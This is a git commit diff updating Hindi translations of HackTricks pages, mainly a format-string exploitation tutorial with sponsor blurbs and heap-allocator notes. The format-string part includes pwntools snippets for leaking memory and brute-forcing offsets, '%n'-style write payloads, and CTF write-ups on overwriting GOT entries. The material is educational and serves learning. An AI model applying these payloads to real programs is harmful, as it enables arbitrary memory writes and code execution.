Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-19 12:01:29 +00:00
parent f48bc37a1e
commit fcb69c1823
35 changed files with 512 additions and 515 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 107 KiB

View file

@ -5,7 +5,7 @@
_Hacktricks लोगो और मोशन डिज़ाइन द्वारा_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, वास्तविक जीवन के ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
**विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, असली जीवन ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
{% endhint %}
शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **विशिष्ट प्रवाह** मिलेगा जो **आपको एक या अधिक मशीनों का परीक्षण करते समय पालन करना चाहिए:**
@ -20,7 +20,7 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाए** जैसे कि pentesting, Red teams और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाए** जैसे कि pentesting, Red teams और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं।
आप उनके **ब्लॉग** को [**https://blog.stmcyber.com**](https://blog.stmcyber.com) पर देख सकते हैं।
@ -65,21 +65,21 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
* **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ जुड़ें जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
* **वास्तविक समय की हैक समाचार:** वास्तविक समय की समाचारों और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
* **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
* **वास्तविक समय हैक समाचार:** वास्तविक समय की समाचारों और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
* **नवीनतम घोषणाएँ:** नए बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
**आज ही हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
***
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - आवश्यक पेनिट्रेशन परीक्षण उपकरण किट
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें**
@ -87,22 +87,19 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% endembed %}
***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** तेज और आसान वास्तविक समय के APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
अन्य प्रदाताओं के विपरीत, **SerpApi केवल जैविक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाए, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाए, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आजमाएं।\
आप **यहाँ** [**एक मुफ्त खाता बना सकते हैं**](https://serpapi.com/users/sign\_up)**।**
***
@ -111,13 +108,13 @@ SerpApi की योजनाओं में से एक की सदस्
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित करने** में मदद करती है, **आक्रामक-सुरक्षा सेवाए** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर** में व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित** करने में मदद करती है, **आक्रामक-सुरक्षा सेवाए** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।**
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -142,7 +139,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -27,7 +27,7 @@ C में **`printf`** एक फ़ंक्शन है जिसका उ
अन्य कमजोर फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
कमजोरी तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने में सक्षम होगा जो** **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** के लिए। इस तरह से **मनमाने कोड को निष्पादित** करने में सक्षम होना।
कमजोरी तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने में सक्षम होगा जो** **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** के लिए। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना।
#### Formatters:
```bash
@ -72,7 +72,7 @@ return 0;
```
### **Pointers तक पहुँचना**
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4th पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं:
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं:
```c
printf("%x %x %x %x")
```
@ -87,12 +87,12 @@ printf("%4$x")
ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।
{% hint style="danger" %}
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाना पता जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर कर सकेगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते को जोड़ने और `printf` को उन्हें एक्सेस करने में सक्षम होगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
{% endhint %}
## **मनमाना पढ़ना**
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, उसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट कर सके** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, उसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
```python
from pwn import *
@ -109,13 +109,13 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।
{% endhint %}
### ऑफसेट खोजें
### ऑफसेट खोजें
अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
अपने इनपुट के लिए ऑफसेट खोजने के लिए, आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
<details>
<summary>ब्रूट फोर्स printf ऑफसेट</summary>
<summary>ब्रूट फोर्स printf ऑफसेट</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -148,21 +148,21 @@ p.close()
### कितनी उपयोगी
मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:
मनमाने पढ़ने उपयोगी हो सकते हैं:
* **बाइनरी** को मेमोरी से **डंप** करना
* **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
* मेमोरी के विशिष्ट भागों तक **पहुँच** बनाना जहाँ संवेदनशील **जानकारी** संग्रहीत है (जैसे कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
## **मनमाना लिखना**
फॉर्मेटर **`%<num>$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \<num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने चाहें उतने अक्षर लिख सकता है, तो वह **`%<num>$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा।
फॉर्मेटर **`%<num>$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \<num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने चाहें उतने अक्षर लिख सकता है, तो वह **`%<num>$n`** को एक मनमाना संख्या एक मनमाने पते पर लिखने में सक्षम होगा।
भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसके लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करके संख्या **`<num-write>`** को **`num` स्थिति द्वारा इंगित पते** में लिखना संभव है।
भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, ऐसा करने के लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करके संख्या **`<num-write>`** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है।
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **इसका उपयोग `$hn`** किया जाता है बजाय `$n` के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।**
@ -178,7 +178,7 @@ AAAA.%500\$08x —> Param at offset 500
* **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है
* **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** को \[HOB, LOB] लिखने की आवश्यकता होती है और फिर दूसरे को।
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को।
यदि HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -237,7 +237,7 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए फॉर्मेट स्ट्रिंग (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए आदेशों को निष्पादित करेगा।
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।

View file

@ -2,19 +2,19 @@
## Heap Basics
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शनों को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शं को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` अनुभाग):
जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` सेक्शन):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग की गई/फ्री चंक कहाँ है।
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग किए गए/फ्री चंक कहाँ है।
स्थान आरक्षित करने के विभिन्न तरीके हैं, मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
स्थान आरक्षित करने के विभिन्न तरीके हैं जो मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
* प्रोग्राम एक निश्चित मात्रा में मेमोरी के लिए अनुरोध करना शुरू करता है।
* प्रोग्राम एक निश्चित मात्रा में मेमोरी का अनुरोध करके शुरू होता है।
* यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा।
* इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा।
* यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है।
@ -25,13 +25,13 @@
## Arenas
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था ताकि यह सुनिश्चित किया जा सके कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं।
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह सुनिश्चित करने के लिए एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं।
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप संचालन कर सकते हैं, जब तक कि वे विभिन्न एरेनास का उपयोग करते हैं।
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं।
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप संचालन को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा होती है।
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा उत्पन्न होती है।
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड संचालन के लिए मेमोरी प्रबंधन में लचीलापन मिलता है।
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है।
### Subheaps
@ -41,16 +41,16 @@
* प्रारंभिक हीप प्रोग्राम की बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है।
* सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करने वाला सिस्टम कॉल है।
2. **`mmap` के साथ मेमोरी आरक्षण**:
* जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिस अन्य सिस्टम प्रक्रियाओं या आवंटनों का उपय नहीं करना चाहिए।
